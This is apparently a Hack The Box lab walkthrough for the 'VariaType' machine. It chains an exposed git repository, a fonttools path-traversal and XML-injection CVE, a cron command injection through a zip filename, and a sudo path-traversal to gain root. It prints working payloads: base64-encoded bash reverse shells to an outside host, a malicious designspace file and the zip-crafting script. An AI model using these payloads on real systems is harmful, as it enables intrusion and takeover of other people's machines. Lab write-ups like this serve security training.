VariaType Walkthrough
Machine: VariaType#
Date: 14-03-2026 Platform: HTB Status: [Rooted]
π Recon#
Nmap#
nmap -sC -sV -oN scans/nmap.txt $MACHINE_IP
Results:#
- Port 22 β SSH (OpenSSH 9.2p1 Debian 2+deb12u7)
- Port 80 β HTTP (nginx 1.22.1) β redirects to
http://variatype.htb/
Notes:#
- Added
variatype.htbto/etc/hosts - nginx acting as reverse proxy in front of a Flask/Python application
- OpenSSH 9.2p1 on Debian 12 Bookworm β recent version, no direct attack vector
- Virtual host enumeration is critical β subdomain discovery unlocked the attack chain
π Enumeration#
Web Application β variatype.htb#
Navigating to http://variatype.htb/ reveals VariaType Labs, a professional variable font generation service. Three routes exposed via the navbar:
/β Home page describing a variable font generator service/servicesβ Professional typography services page; mentionsfonttools,fontmake,gftoolsβ hints at the underlying stack/tools/variable-font-generatorβ File upload form accepting a.designspaceXML file and master fonts (.ttf/.otf)
Successful submissions generate a downloadable variable font available at /download/<token>.
Directory & Subdomain Fuzzing#
# Directory fuzzing β only /services returned anything useful
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
-u "http://variatype.htb/FUZZ" -c -mc 200,301,302,403
# Subdomain discovery β KEY FINDING
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u "http://variatype.htb/" -H "Host: FUZZ.variatype.htb" -c -fs <default_size>
Result: portal.variatype.htb discovered β added to /etc/hosts alongside variatype.htb.
β οΈ This subdomain was the critical missing piece that unlocked the entire attack chain.
Exposed Git Repository β portal.variatype.htb#
The portal subdomain hosts a PHP Validation Dashboard. A .git directory was exposed at the root, allowing full source code recovery including deleted content from commit history.
pip3 install git-dumper --break-system-packages
git-dumper http://portal.variatype.htb/.git ./repo
cd repo
git log --oneline --all
# 753b5f5 (HEAD -> master) fix: add gitbot user for automated validation pipeline
# 5030e79 feat: initial portal implementation
# Diff reveals hardcoded credentials in deleted commit content
git diff 5030e79 753b5f5
# diff --git a/auth.php b/auth.php
# +$USERS = [
# + 'gitbot' => 'G1tB0t_Acc3ss_2025!'
# +];
Credentials recovered: gitbot / G1tB0t_Acc3ss_2025!
Portal Dashboard Analysis#
Logging in at portal.variatype.htb with the gitbot credentials reveals a Validation Dashboard listing all TTF files generated by the main app. Each entry has View and Download options.
view.php?f=<filename>β only displays file metadata (size, last modified, VALID badge). No PHP include, no LFI.download.php?f=<filename>β serves the raw TTF file
Flask Application Source Code (post-exploitation)#
After gaining www-data access, /opt/variatype/app.py revealed the full Flask internals:
UPLOAD_FOLDER = '/tmp/variabype_uploads'
DOWNLOAD_FOLDER = '/var/www/portal.variatype.htb/public/files'
SECRET_KEY = '[REDACTED]'
# Processing via subprocess:
subprocess.run(['fonttools', 'varLib', 'config.designspace'], cwd=workdir, ...)
π₯ Exploitation#
CVE-2025-66034 β fonttools varLib: Arbitrary File Write + XML Injection#
The variable font generator uses fontTools.varLib to process .designspace files. CVE-2025-66034 chains two vulnerabilities:
- Path traversal β the
<variable-font filename='...'>attribute is passed directly toos.path.join()without sanitisation, allowing writes to arbitrary filesystem paths. - XML injection β CDATA sections in
<labelname>elements embed attacker-controlled content into the generated TTF’s name table.
# Vulnerable code in fontTools/varLib/__init__.py:
filename = vf.filename # Unsanitised
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write
Step 1 β Mapping the Directory Structure via Path Traversal#
Through systematic testing of which paths accepted writes without error, the working directory structure was mapped:
| Path | Result |
|---|---|
./output.ttf | β Works β base case |
../download/<token> | β Works β confirmed one level up |
../../download/ | β
= /var/www/portal.variatype.htb/public/files/ |
../../static/css/ | β Works β app root is two levels up |
../../ | β
= /opt/variatype/ (Flask app root) |
../../../etc/passwd | β Fonttools fails silently β read primitive unavailable |
Step 2 β Generating Compatible Two-Master Fonts#
The CDATA XML injection only works when fonttools generates a variable TTF with full variable font tables (fvar, gvar, STAT, HVAR). This requires two compatible master fonts for interpolation. Single-master fonts produce a static TTF where labelname content is discarded.
# make_ttf.py β generates two compatible master fonts
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
def make_ttf(filename, weight):
fb = FontBuilder(1000, isTTF=True)
fb.setupGlyphOrder([".notdef"])
fb.setupCharacterMap({})
pen = TTGlyphPen(None)
pen.moveTo((0,0)); pen.lineTo((500,0))
pen.lineTo((500,500)); pen.lineTo((0,500))
pen.closePath()
fb.setupGlyf({".notdef": pen.glyph()})
fb.setupHorizontalMetrics({".notdef": (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(usWeightClass=weight)
fb.setupPost()
fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
fb.save(filename)
make_ttf("source-light.ttf", 100)
make_ttf("source-regular.ttf", 400)
Step 3 β XML Injection via CDATA Sections#
With two compatible masters, fonttools generates a variable TTF that stores labelname strings in the name table. The nested CDATA technique embeds arbitrary content including PHP code:
Syntax: <![CDATA[PAYLOAD]]]]><![CDATA[>]]>
Result in output: PAYLOAD]>
Verified via hexdump of the generated TTF at offset 0x299:
TestWeight400<?php echo shell_exec("echo 'BASE64'|base64 -d|bash");?>]]>ThinMEOW2
Step 4 β Discovering the PHP Webroot#
The portal PHP files are served by PHP-FPM. Finding the correct webroot required testing multiple paths:
| Path | Result |
|---|---|
../../../../opt/variatype/portal/ | β Accepts write, β nginx does not execute PHP |
../../../../var/www/portal.variatype.htb/public/ | β Accepts write, β /shell.php returns 404 |
../../../../var/www/portal.variatype.htb/public/files/ | β PHP EXECUTED β |
Step 5 β Final Exploit#
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<!-- CDATA injection embeds PHP reverse shell in the TTF name table -->
<labelname xml:lang="en"><![CDATA[<?php echo shell_exec("echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNTIvNDQ0NiAwPiYxCg=='|base64 -d|bash");?>]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">MEOW2</labelname>
</axis>
</axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
<sources>
<source filename="source-light.ttf" name="Light">
<location><dimension name="Weight" xvalue="100"/></location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location><dimension name="Weight" xvalue="400"/></location>
</source>
</sources>
<variable-fonts>
<!-- Path traversal writes shell.php to the PHP-FPM webroot -->
<variable-font name="MyFont"
filename="../../../../var/www/portal.variatype.htb/public/files/shell.php">
<axis-subsets><axis-subset name="Weight"/></axis-subsets>
</variable-font>
</variable-fonts>
<instances>
<instance name="Display Thin" familyname="MyFont" stylename="Thin">
<location><dimension name="Weight" xvalue="100"/></location>
<labelname xml:lang="en">Display Thin</labelname>
</instance>
</instances>
</designspace>
# Start listener
nc -lvnp 4446
# Upload malicious.designspace + source-light.ttf + source-regular.ttf
# to http://variatype.htb/tools/variable-font-generator
# Trigger PHP execution
curl http://portal.variatype.htb/files/shell.php
Result: Reverse shell as www-data β
Failed Approaches#
| Attempt | Reason for Failure |
|---|---|
| XXE injection in .designspace | Server uses safe XML parser β no external entity resolution |
| Out-of-band XXE via HTTP listener | No outbound connections from server |
| Single-master TTF with labelname CDATA | Content not embedded without variable font tables |
| Path traversal in source filename to read files | Fonttools fails silently, no file contents returned |
| Writing PHP to /opt/variatype/portal/ | nginx does not execute PHP from this path |
| Overwriting Flask templates (index.html) | Flask caches templates in memory β no disk reload |
| Forging Flask session cookies with SECRET_KEY | No privileged Flask endpoints to exploit |
| Writing SSH authorized_keys directly | .ssh directories did not exist for any user |
| PHP path info tricks & double-slash URLs | Flask routing neutralised these |
| Writing to Python dist-packages .pth files | Paths did not exist on this system |
β‘ Privilege Escalation#
www-data β steve#
Discovery: Font Processing Pipeline Cron Job#
Enumerating /opt revealed /opt/process_client_submissions.bak β a backup of a cron script run by user steve. It scans /var/www/portal.variatype.htb/public/files/ for font files including .zip archives and processes them with FontForge. The critical vulnerability: the $file variable is interpolated unsafely inside a bash double-quoted string passed to fontforge -lang=py -c:
# Vulnerable section of process_client_submissions.bak:
for file in $ext; do
if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
font = fontforge.open('$file') # <-- bash interpolates $file here!
...
"; then
log "SUCCESS: Validated $file"
fi
mv "$file" "$PROCESSED_DIR/"
done
The script enforces a strict regex ^[a-zA-Z0-9._-]+$ on direct filenames. However, it also processes .zip archives β and the inner filenames inside the zip are not validated before being extracted and processed.
Exploit: Malicious ZIP with Command Injection Filename#
# Run as www-data in the upload directory
import zipfile
# Outer zip name passes the regex
zip_name = "validfont.zip"
# Inner filename contains command injection
# Payload: bash -i >& /dev/tcp/10.10.14.252/4449 0>&1
inner = "$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNTIvNDQ0OSAwPiYxCg==|base64 -d|bash).ttf"
with zipfile.ZipFile(zip_name, "w", zipfile.ZIP_DEFLATED) as z:
z.writestr(inner, "dummy content")
# Listener on attacker machine
nc -lvnp 4449
# Place validfont.zip in /var/www/portal.variatype.htb/public/files/
# Wait for steve's cron job to run
# bash expands $(...) in the extracted filename -> reverse shell as steve
Result: Reverse shell as steve β
steve β root#
Discovery: Sudo Privilege#
sudo -l
# User steve may run the following commands on variatype:
# (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
install_validator.py downloads a plugin from a user-supplied URL and installs it to /opt/font-tools/validators/. The destination filename is extracted from the URL using os.path.basename().
CVE-2025-47273 β Path Traversal via URL-Encoded Slashes#
When the URL path contains %2F (URL-encoded /), Python’s urllib decodes it before os.path.basename() processes the path. This causes the resolved install destination to escape the intended validators/ directory.
# Generate SSH key pair on attacker machine
ssh-keygen -t ed25519 -f /tmp/variatype_key -N ""
cp /tmp/variatype_key.pub authorized_keys
# Custom HTTP server β serves authorized_keys to any request path
python3 custom_server.py # listens on port 8888
# custom_server.py
from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
data = open("authorized_keys", "rb").read()
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
HTTPServer(("0.0.0.0", 8888), Handler).serve_forever()
# Exploit: %2F bypasses basename() sanitisation
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
"http://10.10.14.252:8888/%2Froot%2F.ssh%2Fauthorized_keys"
# Output:
# [INFO] Plugin installed at: /root/.ssh/authorized_keys
# [+] Plugin installed successfully.
# SSH as root
ssh -i /tmp/variatype_key [email protected]
Result: Root shell β
Failed Attempts for Root#
| Attempt | Result |
|---|---|
Double-slash URL (http://attacker//root/.ssh/...) | basename() extracted only authorized_keys β wrote to validators/ |
Unencoded path traversal (/../../root/.ssh/...) | basename() neutralised it |
%2F URL encoding | β Works β urllib decodes before basename() runs |
π― Loot / Flags#
- user.txt:
[FLAG REDACTED] - root.txt:
[FLAG REDACTED]
π Attack Chain Summary#
Nmap (port 80 β variatype.htb)
βββΊ Subdomain fuzzing β portal.variatype.htb
βββΊ Exposed .git β gitbot credentials (G1tB0t_Acc3ss_2025!)
βββΊ Portal login β Validation Dashboard (lists TTFs)
βββΊ CVE-2025-66034:
Two-master TTFs + CDATA XML injection + path traversal
β shell.php written to PHP-FPM webroot
β curl triggers PHP β www-data shell
βββΊ /opt/process_client_submissions.bak
β steve's cron processes uploads including zips
β malicious ZIP with $() filename
β command injection β steve shell
βββΊ sudo -l β install_validator.py (root)
β CVE-2025-47273: %2F bypass
β authorized_keys β /root/.ssh/
β SSH as root β
π Lessons Learned#
- Always enumerate subdomains early β
portal.variatype.htbwas the pivotal finding. Without it, the entire attack chain (git repo, PHP portal, file pipeline) would have been missed. - Check exposed .git directories on every subdomain β deleted commits are trivially recoverable and frequently contain credentials.
- Read CVE PoCs carefully and understand preconditions β CVE-2025-66034 only works with two-master variable fonts. Single-master fonts discard
labelnamecontent. This was not obvious from the advisory summary. - The CDATA injection syntax (
<![CDATA[PAYLOAD]]]]><![CDATA[>]]>) requires exact formatting β the double CDATA is necessary to escape the closing bracket sequence within the payload. - Arbitrary file write requires knowing the exact target path β systematic testing of which paths accept writes without error, combined with knowledge of how nginx routes PHP requests, was essential to finding the correct webroot.
- Always enumerate /opt and check .bak files β
process_client_submissions.bakrevealed the entire privesc chain to steve, including the unsafe bash filename interpolation. - Bash command injection via filenames inside archives bypasses outer filename regex checks β when a script extracts and processes archive contents, all inner filenames must also be sanitised.
- For sudo privesc involving URL processing, test
%2F-encoded slashes β Python’surllibdecodes%2Fbeforeos.path.basename()runs, potentially escaping intended directory restrictions. - Document all failed attempts β understanding why XXE, LFI, template injection, and Flask reload tricks failed prevented revisiting dead ends.
Tools Used#
| Tool | Purpose |
|---|---|
| nmap | Port and service enumeration |
| ffuf | Subdomain and directory fuzzing |
| git-dumper | Recovering exposed git repositories |
| Burp Suite | HTTP interception and analysis |
| fonttools (Python) | Generating compatible two-master TTF source fonts |
| netcat | Reverse shell listeners |
| Python http.server (custom) | Serving malicious authorized_keys |
| zipfile (Python stdlib) | Crafting malicious ZIP archives |
CVEs Exploited#
| CVE | Description | CVSS |
|---|---|---|
| CVE-2025-66034 | fonttools varLib: Arbitrary File Write + XML injection via unsanitised .designspace processing. Affected: >= 4.33.0, Patched: 4.60.2 | 6.3 Moderate |
| CVE-2025-47273 | install_validator.py: Path traversal via %2F URL-encoded slashes bypassing os.path.basename() when run with elevated privileges | β |
#Linux #HTB #Enumeration #Web #Nginx #Flask #SubdomainFuzzing #VirtualHost #Git #GitDumper #CredentialExtraction #PHP #FileUpload #DesignSpace #XMLInjection #PathTraversal #ArbitraryFileWrite #CVE #CVE-2025-66034 #ReverseShell #FontTools #TTF #Zip #CommandInjection #Cron #LateralMovement #SSH #Sudo #Python #CVE-2025-47273 #PrivilegeEscalation #PostExploitation
Adapted from MountainFlayer/htb-writeups under MIT.